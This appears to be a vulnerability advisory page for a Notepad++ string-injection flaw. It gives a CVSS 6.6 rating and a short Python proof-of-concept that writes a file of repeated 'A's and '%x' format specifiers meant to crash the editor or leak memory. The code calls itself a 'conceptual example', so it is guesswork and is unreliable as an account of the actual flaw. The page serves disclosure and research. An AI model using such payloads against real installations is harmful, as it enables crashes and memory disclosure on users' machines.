Successful exploitation of the
string injection vulnerability could allow an attacker to obtain memory address
information or crash the application.
CVSS Details
CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H
Configurations (Affected Products)
No configuration data available.
Notepad++ < 8.9.4
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-3008 (Notepad++ String Injection)
# This script generates a file with a potentially malicious string pattern.
# Opening this file in a vulnerable version of Notepad++ may trigger a crash or information leak.
import sys
def generate_poc_file(filename):
# Based on the vulnerability description, a long string or specific format
# string might be needed. This is a conceptual example.
# Adjust the payload based on specific technical analysis from the referenced GitHub links.
# Example payload: A long string of 'A's followed by a format specifier
# to test for memory read/crash.
payload = "A" * 10000 + "%x" * 50
try:
with open(filename, "w", encoding="utf-8", errors="ignore") as f:
f.write(payload)
print(f"[+] PoC file generated successfully: {filename}")
print("[*] Open this file in Notepad++ to test for the vulnerability.")
except IOError as e:
print(f"[-] Error writing file: {e}")
if __name__ == "__main__":
output_file = "cve_2026_3008_poc.txt"
generate_poc_file(output_file)